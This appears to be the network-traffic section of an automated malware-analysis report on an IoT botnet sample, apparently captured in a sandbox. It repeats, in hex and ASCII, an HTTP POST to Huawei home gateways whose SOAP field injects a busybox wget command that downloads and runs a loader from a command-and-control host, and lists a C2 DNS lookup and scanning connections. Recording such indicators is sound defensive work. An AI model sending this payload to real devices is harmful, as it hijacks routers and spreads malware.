Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: global traffic

TCP traffic: 192.168.2.14:46540 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 1.12.84.67
Source: unknown	TCP traffic detected without corresponding DNS query: 107.119.15.67
Source: unknown	TCP traffic detected without corresponding DNS query: 160.89.255.184
Source: unknown	TCP traffic detected without corresponding DNS query: 142.128.214.133
Source: unknown	TCP traffic detected without corresponding DNS query: 151.114.53.151
Source: unknown	TCP traffic detected without corresponding DNS query: 181.52.98.68
Source: unknown	TCP traffic detected without corresponding DNS query: 73.99.18.24
Source: unknown	TCP traffic detected without corresponding DNS query: 179.64.170.171
Source: unknown	TCP traffic detected without corresponding DNS query: 205.217.233.80
Source: unknown	TCP traffic detected without corresponding DNS query: 211.143.98.145
Source: unknown	TCP traffic detected without corresponding DNS query: 184.146.6.31
Source: unknown	TCP traffic detected without corresponding DNS query: 159.37.133.208
Source: unknown	TCP traffic detected without corresponding DNS query: 158.34.240.117
Source: unknown	TCP traffic detected without corresponding DNS query: 69.81.122.152
Source: unknown	TCP traffic detected without corresponding DNS query: 108.3.230.119
Source: unknown	TCP traffic detected without corresponding DNS query: 126.33.229.198
Source: unknown	TCP traffic detected without corresponding DNS query: 167.176.177.179
Source: unknown	TCP traffic detected without corresponding DNS query: 5.71.100.114
Source: unknown	TCP traffic detected without corresponding DNS query: 14.65.113.88
Source: unknown	TCP traffic detected without corresponding DNS query: 114.132.2.196
Source: unknown	TCP traffic detected without corresponding DNS query: 158.253.61.118
Source: unknown	TCP traffic detected without corresponding DNS query: 154.32.50.30
Source: unknown	TCP traffic detected without corresponding DNS query: 18.29.13.143
Source: unknown	TCP traffic detected without corresponding DNS query: 2.242.225.206
Source: unknown	TCP traffic detected without corresponding DNS query: 211.194.75.181
Source: unknown	TCP traffic detected without corresponding DNS query: 71.134.193.73
Source: unknown	TCP traffic detected without corresponding DNS query: 47.253.35.131
Source: unknown	TCP traffic detected without corresponding DNS query: 27.253.80.216
Source: unknown	TCP traffic detected without corresponding DNS query: 187.103.207.15
Source: unknown	TCP traffic detected without corresponding DNS query: 158.59.156.239
Source: unknown	TCP traffic detected without corresponding DNS query: 92.244.50.65
Source: unknown	TCP traffic detected without corresponding DNS query: 19.21.233.59
Source: unknown	TCP traffic detected without corresponding DNS query: 124.199.53.187
Source: unknown	TCP traffic detected without corresponding DNS query: 95.7.248.48
Source: unknown	TCP traffic detected without corresponding DNS query: 147.167.150.68
Source: unknown	TCP traffic detected without corresponding DNS query: 220.175.15.213
Source: unknown	TCP traffic detected without corresponding DNS query: 223.189.226.43
Source: unknown	TCP traffic detected without corresponding DNS query: 188.106.7.94
Source: unknown	TCP traffic detected without corresponding DNS query: 57.65.200.63
Source: unknown	TCP traffic detected without corresponding DNS query: 195.40.216.94
Source: unknown	TCP traffic detected without corresponding DNS query: 217.133.166.36
Source: unknown	TCP traffic detected without corresponding DNS query: 42.44.11.242
Source: unknown	TCP traffic detected without corresponding DNS query: 62.98.53.29
Source: unknown	TCP traffic detected without corresponding DNS query: 193.225.59.23
Source: unknown	TCP traffic detected without corresponding DNS query: 48.53.153.29
Source: unknown	TCP traffic detected without corresponding DNS query: 4.246.132.96
Source: unknown	TCP traffic detected without corresponding DNS query: 144.24.164.98
Source: unknown	TCP traffic detected without corresponding DNS query: 35.107.7.74
Source: unknown	TCP traffic detected without corresponding DNS query: 186.158.159.146
Source: unknown	TCP traffic detected without corresponding DNS query: 173.123.4.216

Source: global traffic

DNS traffic detected: DNS query: cnc.ghtyuio.online

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 